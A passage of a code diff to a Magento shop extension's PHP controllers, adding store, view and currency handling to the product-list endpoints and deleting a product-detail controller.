  'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
626
- 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
627
- 'symbol'=>Mage::app()->getLocale()->currency(Mage::app()->getStore()->getCurrentCurrencyCode())->getSymbol()?: Mage::app()->getStore()->getCurrentCurrencyCode(),
 
 
 
628
  'qty'=>$qty,
629
- 'rating' => $rating_final,
630
- 'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
 
631
  );
632
  }
633
  return $new_productlist;
@@ -635,66 +665,79 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
635
  public function getnewproducts()
636
  {
637
  # get New Products start
 
638
  $todayDate = Mage::app()->getLocale()->date()->toString(Varien_Date::DATETIME_INTERNAL_FORMAT);
 
 
639
  $_productCollection = Mage::getResourceModel('catalog/product_collection')
 
 
640
  ->addAttributeToSelect('*')
641
  ->addAttributeToFilter('status',array('eq'=>1))
642
  ->setPageSize (5)
643
  ->addAttributeToFilter('visibility',array('eq'=>4))
644
  ->addAttributeToFilter('news_from_date', array('date' => true, 'to' => $todayDate))
645
  ->addAttributeToFilter('news_to_date', array('or'=> array(
646
- 0 => array('date' => true, 'from' => $todayDate),
647
- 1 => array('is' => new Zend_Db_Expr('null')))
648
- ), 'left');
 
 
 
649
 
650
  $now = date('Y-m-d');
651
  $newsFrom= substr($_productCollection->getData('news_from_date'),0,10);
652
  $newsTo= substr($_productCollection->getData('news_to_date'),0,10);
 
653
  Mage::getSingleton('cataloginventory/stock')->addInStockFilterToCollection($_productCollection);
654
 
655
  if(!$_productCollection->count()):
656
  return $new_productlist = array ();
657
- else:
658
  if ($now>=$newsFrom && $now<=$newsTo)$i=0;
659
 
660
- $new_productlist = array ();
661
- $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
662
- $currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
663
- foreach ( $_productCollection as $product ) {
 
 
664
 
665
- $product = Mage::getModel ( 'catalog/product' )->load ( $product ['entity_id'] );
666
-
667
- $rating = Mage::getModel('rating/rating')->getEntitySummary($product->getId());
668
- $rating_final = ($rating->getSum()/$rating->getCount())/20;
669
 
670
- if($product->getTypeId() == "configurable")
671
- $qty = Mage::helper('connector')->getProductStockInfoById($product->getId());
672
- else
673
- $qty = (int)Mage::getModel('cataloginventory/stock_item')->loadByProduct($product->getId())->getQty();
674
 
675
 
676
- $new_productlist [] = array (
677
- 'entity_id' => $product->getId (),
678
- 'sku' => $product->getSku (),
679
- 'name' => $product->getName (),
680
- 'news_from_date' => $product->getNewsFromDate (),
681
- 'news_to_date' => $product->getNewsToDate (),
682
- 'special_from_date' => $product->getSpecialFromDate (),
683
- 'special_to_date' => $product->getSpecialToDate (),
684
- 'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
685
- 'url_key' => $product->getProductUrl (),
686
- 'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
687
- 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
688
- 'symbol'=>Mage::app()->getLocale()->currency(Mage::app()->getStore()->getCurrentCurrencyCode())->getSymbol()?: Mage::app()->getStore()->getCurrentCurrencyCode(),
689
- 'qty'=>$qty,
690
- 'rating' => $rating_final,
691
- 'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
692
- );
693
- }
694
-
695
- return $new_productlist;
696
-
697
- endif;
 
 
 
 
698
 
699
  }
700
 
@@ -714,6 +757,8 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
714
  $tomorrow = mktime ( 0, 0, 0, date ( 'm' ), date ( 'd' ) + 1, date ( 'y' ) );
715
  $dateTomorrow = date ( 'm/d/y', $tomorrow );
716
 
 
 
717
  $collection = Mage::getModel ( 'catalog/product' )->getCollection ();
718
  $collection->addAttributeToSelect ( '*' )->addAttributeToFilter ( 'visibility', array (
719
 
@@ -735,6 +780,11 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
735
  'null' => 1
736
  )
737
  ) )
 
 
 
 
 
738
  ->addAttributeToFilter('visibility',array('eq'=>4))
739
  ->addAttributeToSort ( $order, $dir );
740
  $pages = $collection->setPageSize ( $limit )->getLastPageNumber ();
@@ -750,4 +800,4 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
750
  return $productlist;
751
 
752
  }
753
- }
1
  <?php
2
  class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
3
 
4
+ public $storeId = "1";
5
+ public $viewId = "";
6
+ public $currency = "";
7
+
8
+
9
  public function _construct(){
10
 
11
  header('content-type: application/json; charset=utf-8');
12
  header("access-control-allow-origin: *");
 
13
  Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
14
+
15
+ $this->storeId = Mage::app()->getFrontController()->getRequest()->getHeader('storeId');
16
+ $this->viewId = Mage::app()->getFrontController()->getRequest()->getHeader('viewId');
17
+ $this->currency = Mage::app()->getFrontController()->getRequest()->getHeader('currency');
18
+ Mage::app()->setCurrentStore($this->storeId);
19
+ /*Mage::app()->getStore($this->storeId)->setCurrentCurrency($this->currency);*/
20
+
21
  parent::_construct();
22
 
23
  }
31
 
32
  }
33
 
34
+ protected function getCategoryTree($recursionLevel)
35
  {
36
+ $parent = Mage::app()->getStore($this->storeId)->getRootCategoryId();
37
  $tree = Mage::getResourceModel('catalog/category_tree');
38
 
39
 
122
  Mage::app ()->cleanCache ();
123
  $cmd = $this->getRequest ()->getParam ( 'cmd' );
124
  if (!Zend_Validate::is($cmd, 'NotEmpty')):
125
+ echo json_encode(array('status'=>'error','message'=> $this->__('filter field should not be empty')));
126
  exit;
127
  endif;
128
  switch ($cmd) {
164
  else
165
  {
166
 
167
+ $_categorylist = array('status'=>'error','message'=> $this->__('No Record Found'));
168
  exit;
169
  }
170
 
178
  $categoryid = $this->getRequest ()->getParam ( 'categoryid' );
179
 
180
  if (!Zend_Validate::is($categoryid, 'NotEmpty')):
181
+ echo json_encode(array('status'=>'error','message'=> $this->__('category id should not be empty')));
182
  exit;
183
  endif;
184
 
191
 
192
 
193
  if (!$category->getId()):
194
+ echo json_encode(array('status'=>'error','message'=> $this->__('category id does not exist')));
195
  exit;
196
  endif;
197
 
235
  $collection=$collection->addAttributeToSort ( $order, $dir )/* ->setPage ( $page, $limit ) */;
236
  $pages = $collection->setPageSize ( $limit )->getLastPageNumber ();
237
  $count=$collection->getSize();
238
+
239
  if(!$count):
240
 
241
+ echo json_encode(array('status'=>'error','message'=> $this->__('No Record Found')));
242
  exit;
243
  endif;
244
 
290
  $count=$collection->getSize();
291
  if(!$count):
292
 
293
+ echo json_encode(array('status'=>'error','message'=> $this->__('No Record Found')));
294
  exit;
295
  endif;
296
  if ($page <= $pages) {
354
  $count=$collection->getSize();
355
  if(!$count):
356
 
357
+ echo json_encode(array('status'=>'error','message'=> $this->__('No Record Found')));
358
  exit;
359
  endif;
360
  if ($page <= $pages) {
405
  $pages = $collection->setPageSize ( $limit )->getLastPageNumber ();
406
  $count=$collection->getSize();
407
  if(!$count):
408
+ echo json_encode(array('status'=>'error','message'=> $this->__('No Record Found')));
409
  exit;
410
  endif;
411
  if ($page <= $pages) {
438
  $newsTo= substr($_productCollection->getData('news_to_date'),0,10);
439
 
440
  if(!$_productCollection->count()):
441
+ echo json_encode(array('status'=>'error','message'=> $this->__('There are no products matching the selection')));
442
  else:
443
  if ($now>=$newsFrom && $now<=$newsTo)$i=0;
444
 
445
  $productlist = array ();
446
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
447
+ $currentCurrency = $this->currency;
448
  foreach ( $_productCollection as $product ) {
449
 
450
  $product = Mage::getModel ( 'catalog/product' )->load ( $product ['entity_id'] );
462
  'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
463
  'url_key' => $product->getProductUrl (),
464
  'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
465
+ 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert (
466
+ Mage::helper('connector')
467
+ ->getFinalPriceByProductId($product->getId ()),
468
+ $baseCurrency, $currentCurrency ), 2, '.', '' ),
469
+ 'symbol'=> Mage::helper('connector')->getCurrencysymbolByCode($this->currency),
470
+ 'qty'=>(int)Mage::getModel('cataloginventory/stock_item')->loadByProduct($product->getId())->getQty(),
471
  'rating' => $rating_final,
472
  'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
473
+ 'specialprice'=>Mage::helper('connector')->getSpecialPriceByProductId($product->getId ()),
474
 
475
  );
476
  }
499
 
500
  $productlist = array ();
501
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
502
+ $currentCurrency = $this->currency;
503
 
504
+ foreach($products as $product):
 
 
505
 
506
+ if($mod == 'catalog'):
507
+ $product = Mage::getModel ( 'catalog/product' )->load ( $product ['entity_id'] );
508
  $rating = Mage::getModel('rating/rating')->getEntitySummary($product->getId());
509
+ $rating_final = ($rating->getSum()/$rating->getCount())/20;
510
+ endif;
511
+
512
  if($product->getTypeId() == "configurable")
513
  $qty = Mage::helper('connector')->getProductStockInfoById($product->getId());
514
  else
529
  'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
530
  'url_key' => $product->getProductUrl (),
531
  'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
532
+ 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert (
533
+ Mage::helper('connector')
534
+ ->getFinalPriceByProductId($product->getId ()),
535
+ $baseCurrency, $currentCurrency ), 2, '.', '' ),
536
+ 'symbol'=> Mage::helper('connector')->getCurrencysymbolByCode($this->currency),
537
+ 'qty'=>$qty,
538
  'rating' => $rating_final,
539
  'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
540
+ 'specialprice'=>Mage::helper('connector')->getSpecialPriceByProductId($product->getId ()),
541
  );
542
  endif;
543
  else:
553
  'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
554
  'url_key' => $product->getProductUrl (),
555
  'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
556
+ 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert (
557
+ Mage::helper('connector')
558
+ ->getFinalPriceByProductId($product->getId ()),
559
+ $baseCurrency, $currentCurrency ), 2, '.', '' ),
560
+ 'symbol'=> Mage::helper('connector')->getCurrencysymbolByCode($this->currency),
561
+ 'qty'=>$qty,
562
  'rating' => $rating_final,
563
  'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
564
+ 'specialprice'=>Mage::helper('connector')->getSpecialPriceByProductId($product->getId ()),
565
+ );
566
  endif;
567
+ endforeach;
568
+
569
  return $productlist;
570
  }
571
 
605
  echo json_encode(array($topproductslist,$newproductslist,$saleproductslist)); die;
606
  }
607
 
608
+ public function getBestsellerProducts()
609
+ {
610
+ $products = Mage::getResourceModel('reports/product_collection')
611
+ ->addOrderedQty()
612
+ ->addAttributeToSelect('*')
613
+ ->addAttributeToSelect(array('name', 'price', 'small_image'))
614
+ ->addAttributeToFilter('visibility',array('eq'=>4))
615
+ ->setStoreId($this->storeId)
616
+ ->addStoreFilter($this->storeId)
617
+ ->addViewsCount();
618
+
619
  Mage::getSingleton('catalog/product_status')->addVisibleFilterToCollection($products);
620
  Mage::getSingleton('catalog/product_visibility')->addVisibleInCatalogFilterToCollection($products);
621
 
622
  Mage::getSingleton('cataloginventory/stock')->addInStockFilterToCollection($products);
623
  $products->setPageSize(5)->setCurPage(1);
624
  //->getLastPageNumber ();
625
+ $new_productlist = array ();
626
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
627
+ $currentCurrency = $this->currency;
628
  foreach ( $products as $product ) {
629
+
630
+ if(!$product['cat_index_position']) continue;
631
 
632
  $product = Mage::getModel ( 'catalog/product' )->load ( $product ['entity_id'] );
633
  $rating = Mage::getModel('rating/rating')->getEntitySummary($product->getId());
649
  'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
650
  'url_key' => $product->getProductUrl (),
651
  'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
652
+ 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert (
653
+ Mage::helper('connector')
654
+ ->getFinalPriceByProductId($product->getId ()),
655
+ $baseCurrency, $currentCurrency ), 2, '.', '' ),
656
+ 'symbol'=>Mage::helper('connector')->getCurrencysymbolByCode($this->currency),
657
  'qty'=>$qty,
658
+ 'rating' => $rating_final,
659
+ 'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
660
+ 'specialprice'=>Mage::helper('connector')->getSpecialPriceByProductId($product->getId ()),
661
  );
662
  }
663
  return $new_productlist;
665
  public function getnewproducts()
666
  {
667
  # get New Products start
668
+
669
  $todayDate = Mage::app()->getLocale()->date()->toString(Varien_Date::DATETIME_INTERNAL_FORMAT);
670
+ $_rootcatID = Mage::app($this->storeId)->getStore()->getRootCategoryId();
671
+
672
  $_productCollection = Mage::getResourceModel('catalog/product_collection')
673
+ ->joinField('category_id','catalog/category_product','category_id','product_id=entity_id',null,'left')
674
+ ->addAttributeToFilter('category_id', array('in' => $_rootcatID))
675
  ->addAttributeToSelect('*')
676
  ->addAttributeToFilter('status',array('eq'=>1))
677
  ->setPageSize (5)
678
  ->addAttributeToFilter('visibility',array('eq'=>4))
679
  ->addAttributeToFilter('news_from_date', array('date' => true, 'to' => $todayDate))
680
  ->addAttributeToFilter('news_to_date', array('or'=> array(
681
+ 0 => array('date' => true, 'from' => $todayDate),
682
+ 1 => array('is' => new Zend_Db_Expr('null')))
683
+ ), 'left')
684
+ ->setStoreId($this->storeId)
685
+ ;
686
+
687
 
688
  $now = date('Y-m-d');
689
  $newsFrom= substr($_productCollection->getData('news_from_date'),0,10);
690
  $newsTo= substr($_productCollection->getData('news_to_date'),0,10);
691
+
692
  Mage::getSingleton('cataloginventory/stock')->addInStockFilterToCollection($_productCollection);
693
 
694
  if(!$_productCollection->count()):
695
  return $new_productlist = array ();
696
+ else:
697
  if ($now>=$newsFrom && $now<=$newsTo)$i=0;
698
 
699
+ $new_productlist = array ();
700
+ $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
701
+ $currentCurrency = $this->currency;
702
+ foreach ( $_productCollection as $product ) {
703
+
704
+ $product = Mage::getModel ( 'catalog/product' )->load ( $product ['entity_id'] );
705
 
706
+ $rating = Mage::getModel('rating/rating')->getEntitySummary($product->getId());
707
+ $rating_final = ($rating->getSum()/$rating->getCount())/20;
 
 
708
 
709
+ if($product->getTypeId() == "configurable")
710
+ $qty = Mage::helper('connector')->getProductStockInfoById($product->getId());
711
+ else
712
+ $qty = (int)Mage::getModel('cataloginventory/stock_item')->loadByProduct($product->getId())->getQty();
713
 
714
 
715
+ $new_productlist [] = array (
716
+ 'entity_id' => $product->getId (),
717
+ 'sku' => $product->getSku (),
718
+ 'name' => $product->getName (),
719
+ 'news_from_date' => $product->getNewsFromDate (),
720
+ 'news_to_date' => $product->getNewsToDate (),
721
+ 'special_from_date' => $product->getSpecialFromDate (),
722
+ 'special_to_date' => $product->getSpecialToDate (),
723
+ 'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
724
+ 'url_key' => $product->getProductUrl (),
725
+ 'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
726
+ 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert (
727
+ Mage::helper('connector')
728
+ ->getFinalPriceByProductId($product->getId ()),
729
+ $baseCurrency, $currentCurrency ), 2, '.', '' ),
730
+ 'symbol'=>Mage::helper('connector')->getCurrencysymbolByCode($this->currency),
731
+ 'qty'=>$qty,
732
+ 'rating' => $rating_final,
733
+ 'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
734
+ 'specialprice'=>Mage::helper('connector')->getSpecialPriceByProductId($product->getId ()),
735
+ );
736
+ }
737
+
738
+ return $new_productlist;
739
+
740
+ endif;
741
 
742
  }
743
 
757
  $tomorrow = mktime ( 0, 0, 0, date ( 'm' ), date ( 'd' ) + 1, date ( 'y' ) );
758
  $dateTomorrow = date ( 'm/d/y', $tomorrow );
759
 
760
+ $_rootcatID = Mage::app($this->storeId)->getStore()->getRootCategoryId();
761
+
762
  $collection = Mage::getModel ( 'catalog/product' )->getCollection ();
763
  $collection->addAttributeToSelect ( '*' )->addAttributeToFilter ( 'visibility', array (
764
 
780
  'null' => 1
781
  )
782
  ) )
783
+
784
+ ->joinField('category_id','catalog/category_product','category_id','product_id=entity_id',null,'left')
785
+ ->addAttributeToFilter('category_id', array('in' => $_rootcatID))
786
+
787
+ ->setStoreId($this->storeId)
788
  ->addAttributeToFilter('visibility',array('eq'=>4))
789
  ->addAttributeToSort ( $order, $dir );
790
  $pages = $collection->setPageSize ( $limit )->getLastPageNumber ();
800
  return $productlist;
801
 
802
  }
803
+ }
app/code/local/Mss/Connector/controllers/ItemController.php DELETED
@@ -1,798 +0,0 @@
1
- <?php
2
- class Mss_Connector_ItemController extends Mage_Core_Controller_Front_Action {
3
- /**
4
- * Current product object
5
- *
6
- * @var Mage_Catalog_Model_Product
7
- */
8
- protected $product;
9
- protected $_keepFrame = true;
10
- protected $_keepAspectRatio = true; // false stretch the image
11
- protected $thumbnail_with = 320;
12
- protected $thumbnail_height = null;
13
- protected $main_with = 640;
14
- protected $main_height = null;
15
-
16
- /**
17
- * the item converted by the current product
18
- *
19
- */
20
- private $item = array ();
21
- private $detail = false;
22
- const OPTION_TYPE_SELECT = 'select';
23
- const OPTION_TYPE_CHECKBOX = 'multiselect';
24
- const OPTION_TYPE_MULTIPLE_SELECT = 'multiselect';
25
- const OPTION_TYPE_TEXT = 'text';
26
- const OPTION_TYPE_DATE = 'date';
27
- const OPTION_TYPE_TIME = 'time';
28
- const OPTION_TYPE_DATE_TIME = 'datetime';
29
-
30
- public function _construct(){
31
-
32
- header('content-type: application/json; charset=utf-8');
33
- header("access-control-allow-origin: *");
34
- Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
35
- parent::_construct();
36
-
37
- }
38
- public function getItemAction() {
39
- return json_encode ( $this->_getitem () );
40
- }
41
- /**
42
- * the API interface function
43
- *
44
- * @param type $apidata
45
- * @return type
46
- */
47
- public function _getitem() {
48
- $apidata = $this->getRequest ()->getParams ();
49
- $item_id = $apidata ['item_id'];
50
- if ($this->loadProduct ( $item_id )) {
51
- $this->detail = true;
52
- $this->getItemBaseInfo ();
53
- $this->getItemAttributes ();
54
- $this->getItemPrices ();
55
- $this->getItemImages ();
56
- $this->getProductDescription ();
57
- $this->getRecommendedItems ();
58
- // $this->getRelatedItems();
59
- }
60
- return array (
61
- true,
62
- '0x0000',
63
- array (
64
- 'item' => $this->item
65
- )
66
- );
67
- }
68
- public function getItemBaseInfo() {
69
- $helper = Mage::helper ( 'catalog/image' );
70
- $helper->init ( $this->product, $this->getProductImageType () )->keepAspectRatio ( $this->_keepAspectRatio )->keepFrame ( $this->_keepFrame );
71
- $this->item ['item_id'] = $this->product->getId ();
72
- $this->item ['item_title'] = $this->product->getName ();
73
- $this->item ['item_url'] = $this->product->getProductUrl ();
74
- $this->item ['cid'] = $this->product->getCategoryIds ();
75
- $this->item ['qty'] = $this->product->getStockItem ()->getQty ();
76
- $this->item ['thumbnail_pic_url'] = ( string ) $helper->resize ( $this->thumbnail_with, $this->thumbnail_height );
77
- $this->item ['main_pic_url'] = ( string ) $helper->resize ( $this->main_with, $this->main_height );
78
- $this->item ['is_virtual'] = $this->product->isVirtual ();
79
- $this->item ['item_status'] = $this->product->isSaleable () ? 'instock' : 'outofstock';
80
- if (! $this->product->getRatingSummary ()) {
81
- Mage::getModel ( 'review/review' )->getEntitySummary ( $this->product, Mage::app ()->getStore ()->getId () );
82
- }
83
- $this->item ['allow_add_to_cart'] = ! $this->HasOptions ();
84
- $this->item ['rating_score'] = round ( ( int ) $this->product->getRatingSummary ()->getRatingSummary () / 20 );
85
- $this->item ['rating_count'] = $this->product->getRatingSummary ()->getReviewsCount ();
86
- $this->item ['sales_type'] = ($this->product->isInStock ()) ? 'stock' : 'distribute';
87
- $this->item ['qty_min_unit'] = 1;
88
- $stockItem = $this->product->getStockItem ();
89
- if ($stockItem) {
90
- if ($stockItem->getMinSaleQty () && $stockItem->getMinSaleQty () > 0) {
91
- $this->item ['qty_min_unit'] = $stockItem->getMinSaleQty ();
92
- }
93
- }
94
- $this->item ['item_type'] = $this->product->getTypeId ();
95
- return $this->item;
96
- }
97
- public function getItemPrices() {
98
- $prices = array ();
99
- $productType = $this->product->getTypeId ();
100
- switch ($productType) {
101
- case Mage_Catalog_Model_Product_Type::TYPE_BUNDLE :
102
- {
103
- $prices = $this->collectBundleProductPrices ( $this->product );
104
- }
105
- break;
106
- default :
107
- {
108
- $prices = $this->collectProductPrices ( $this->product );
109
- }
110
- break;
111
- }
112
- $this->item ['prices'] = $prices;
113
- return $prices;
114
- }
115
- public function HasOptions() {
116
- if (! $this->product->isSaleable ()) {
117
- return false;
118
- } else if ($this->product->getHasOptions ()) {
119
- return true;
120
- } else {
121
- return $this->product->getTypeInstance ( true )->hasOptions ( $this->product );
122
- }
123
- }
124
- public function getItemAttributes() {
125
- $productType = $this->product->getTypeId ();
126
- switch ($productType) {
127
- case Mage_Catalog_Model_Product_Type::TYPE_SIMPLE :
128
- {
129
- $this->item ['attributes'] = $this->getProductCustomOptionsOption ( $this->product );
130
- }
131
- break;
132
- case Mage_Catalog_Model_Product_Type::TYPE_BUNDLE :
133
- {
134
- if ($this->product->getTypeInstance ( true )->hasOptions ( $this->product )) {
135
- $this->item ['attributes'] = $this->getProductBundleOptions ( $this->product );
136
- }
137
- }
138
- break;
139
- case Mage_Catalog_Model_Product_Type::TYPE_CONFIGURABLE :
140
- {
141
- if ($this->product->isConfigurable ()) {
142
- $this->item ['attributes'] = $this->getProductOptions ( $this->product );
143
- }
144
- }
145
- break;
146
- case Mage_Catalog_Model_Product_Type::TYPE_GROUPED :
147
- {
148
- $this->item ['attributes'] = $this->getProductGroupedOptions ( $this->product );
149
- }
150
- break;
151
- case Mage_Downloadable_Model_Product_Type::TYPE_DOWNLOADABLE :
152
- { // downloadable/catalog_product_links
153
- $this->item ['attributes'] = $this->getProductDownloadOptions ( $this->product );
154
- }
155
- break;
156
- case Mage_Catalog_Model_Product_Type::TYPE_VIRTUAL :
157
- {
158
- $this->item ['attributes'] = array ();
159
- }
160
- break;
161
- default :
162
- {
163
- $this->item ['attributes'] = array ();
164
- }
165
- break;
166
- }
167
- return $this->item ['attributes'];
168
- }
169
- public function setProduct($product) {
170
- $this->product = $product;
171
- }
172
- public function loadProduct($itemId) {
173
- if ($this->product && $this->product->getId ()) {
174
- return $this->product;
175
- }
176
- $this->product = Mage::getModel ( 'catalog/product' )->setStoreId ( Mage::app ()->getStore ()->getId () )->load ( $itemId );
177
- if ($this->product && $this->product->getId ()) {
178
- return true;
179
- }
180
- return false;
181
- }
182
- public function getItem() {
183
- return $this->item;
184
- }
185
- private function getProductImageType() {
186
- $imageType = 'image';
187
- $itemData = $this->product->getData ();
188
- if (isset ( $itemData ['image'] )) {
189
- $imageType = 'image';
190
- } else if (isset ( $itemData ['small_image'] )) {
191
- $imageType = 'small_image';
192
- } else if (isset ( $itemData ['thumbnail'] )) {
193
- $imageType = 'thumbnail';
194
- }
195
- return $imageType;
196
- }
197
-
198
- /**
199
- * add prefix to options to distinguish between options,super attribute,bunlde and super group
200
- *
201
- * @param type $options
202
- */
203
- private function addPrefixTo(&$options, $type) {
204
- if ($options) {
205
- foreach ( $options as &$option ) {
206
- $prefix = "{$type}_" . $option ['attribute_id'];
207
- $option ['attribute_id'] = $prefix;
208
- if ($option ['options']) {
209
- foreach ( $option ['options'] as &$value ) {
210
- $value ['attribute_id'] = $prefix;
211
- }
212
- }
213
- }
214
- }
215
- }
216
- public function getProductDescription() {
217
- $_helper = Mage::helper ( 'catalog/output' );
218
- $this->item ['short_description'] = $_helper->productAttribute ( $this->product, nl2br ( $this->product->getShortDescription () ), 'short_description' );
219
- $this->item ['short_description'] = preg_replace ( '/(<img[^<>]+?src\s*=\s*\")([^:\"]+\")/i', '$1' . Mage::getBaseUrl () . '$2', $this->item ['short_description'] );
220
- $this->item ['detail_description'] = $_helper->productAttribute ( $this->product, $this->product->getDescription (), 'description' );
221
- if (preg_match ( '/{{(.+)}}/i', $this->item ['detail_description'] )) {
222
- $this->item ['detail_description'] = preg_replace ( '/(\<img[^<>]+src\s*=\s*"){{(\w+)\s*url="(.+)}}/i', '$1' . Mage::getBaseUrl () . '/$2/$3', $this->item ['detail_description'] );
223
- }
224
- $this->item ['detail_description'] = preg_replace ( '/(<img[^<>]+?src\s*=\s*\")([^:\"]+\")/i', '$1' . Mage::getBaseUrl () . '$2', $this->item ['detail_description'] );
225
- $this->item ['specifications'] = $this->getProductFeature ();
226
- }
227
- public function getProductFeature() {
228
- $features = array ();
229
- if (Mage_Downloadable_Model_Product_Type::TYPE_DOWNLOADABLE == $this->product->getTypeId ()) {
230
- $block = Mage::getBlockSingleton ( 'downloadable/catalog_product_samples' );
231
- $block->setProduct ( $this->product );
232
- if ($block->hasSamples ()) {
233
- foreach ( $block->getSamples () as $sample ) {
234
- $features [] = array (
235
- 'name' => $block->getSamplesTitle (),
236
- 'value' => '<a href="' . $block->getSampleUrl ( $sample ) . '" ' . ($block->getIsOpenInNewWindow () ? 'onclick="this.target=\'_blank\'">' : '>') . $block->escapeHtml ( $sample->getTitle () ) . '</a>'
237
- );
238
- }
239
- }
240
- } else {
241
- Mage::register ( 'product', $this->product );
242
- $block = Mage::getBlockSingleton ( 'catalog/product_view_Attributes' );
243
- $helper = $block->helper ( 'catalog/output' );
244
- $data = $block->getAdditionalData ();
245
- foreach ( $data as $feature ) {
246
- $features [] = array (
247
- 'name' => $block->htmlEscape ( $block->__ ( $feature ['label'] ) ),
248
- 'value' => $helper->productAttribute ( $this->product, $feature ['value'], $feature ['code'] )
249
- );
250
- }
251
- }
252
-
253
- return $features;
254
- }
255
- private function getItemImageUrl($imageFile = null) {
256
- $imageType = $this->getProductImageType ();
257
- $helper = Mage::helper ( 'catalog/image' );
258
- return ( string ) $helper->init ( $this->product, $imageType, $imageFile )->keepAspectRatio ( $this->_keepAspectRatio )->keepFrame ( $this->_keepFrame )->resize ( $this->main_with, $this->main_height );
259
- }
260
- public function getItemImages() {
261
- $this->item ['item_imgs'] = array ();
262
- $name = basename ( $this->product->getImageUrl () );
263
- if (($images = $this->product->getMediaGalleryImages ())) {
264
- if (count ( $images ) > 0) {
265
- $position = 0;
266
- foreach ( $images as $image ) {
267
- $itemImg = array ();
268
- $itemImg ['img_id'] = $image->getId ();
269
- $itemImg ['img_url'] = $this->getItemImageUrl ( $image->getFile () );
270
- $itemImg ['position'] = ++ $position;
271
- if ($position > 1 && $name == basename ( $image->getFile () )) {
272
- $first = $itemImg;
273
- $first ['position'] = 0;
274
- } else {
275
- $this->item ['item_imgs'] [] = $itemImg;
276
- }
277
- }
278
- if (isset ( $first )) {
279
- $this->item ['item_imgs'] = array_merge ( array (
280
- $first
281
- ), $this->item ['item_imgs'] );
282
- }
283
-
284
- return $this->item ['item_imgs'];
285
- }
286
- }
287
- $itemImg = array ();
288
- $itemImg ['img_id'] = 0;
289
- $itemImg ['img_url'] = $this->getItemImageUrl ();
290
- $itemImg ['position'] = 0;
291
- $this->item ['item_imgs'] [] = $itemImg;
292
- return $this->item ['item_imgs'];
293
- }
294
- public function getRelatedItems() {
295
- $items = array ();
296
- $collection = $this->product->getRelatedProductCollection ();
297
- $layer = Mage::getSingleton ( 'catalog/layer' );
298
- $layer->prepareProductCollection ( $collection );
299
- $products = $collection->getItems ();
300
- if ($products) {
301
- $itemObject = Kancart::getModel ( 'Item' );
302
- foreach ( $products as $product ) {
303
- $itemObject->setProduct ( $product );
304
- $itemObject->getItemBaseInfo ();
305
- $itemObject->getItemPrices ();
306
- $items [] = $itemObject->getItem ();
307
- $itemObject->clear ();
308
- }
309
- }
310
- $this->item ['related_items'] = $items;
311
- return $items;
312
- }
313
- public function getRecommendedItems() {
314
- $items = array ();
315
- $collection = $this->product->getUpSellProductCollection ();
316
- $layer = Mage::getSingleton ( 'catalog/layer' );
317
- $layer->prepareProductCollection ( $collection );
318
- $products = $collection->getItems ();
319
- if ($products) {
320
- $itemObject = Kancart::getModel ( 'Item' );
321
- foreach ( $products as $product ) {
322
- $itemObject->setProduct ( $product );
323
- $itemObject->getItemBaseInfo ();
324
- $itemObject->getItemPrices ();
325
- $items [] = $itemObject->getItem ();
326
- $itemObject->clear ();
327
- }
328
- }
329
- $this->item ['recommended_items'] = $items;
330
- return $items;
331
- }
332
- private function getItemTierPrice($_product) { // getTierPrice
333
- $result = array ();
334
- if ($this->detail) {
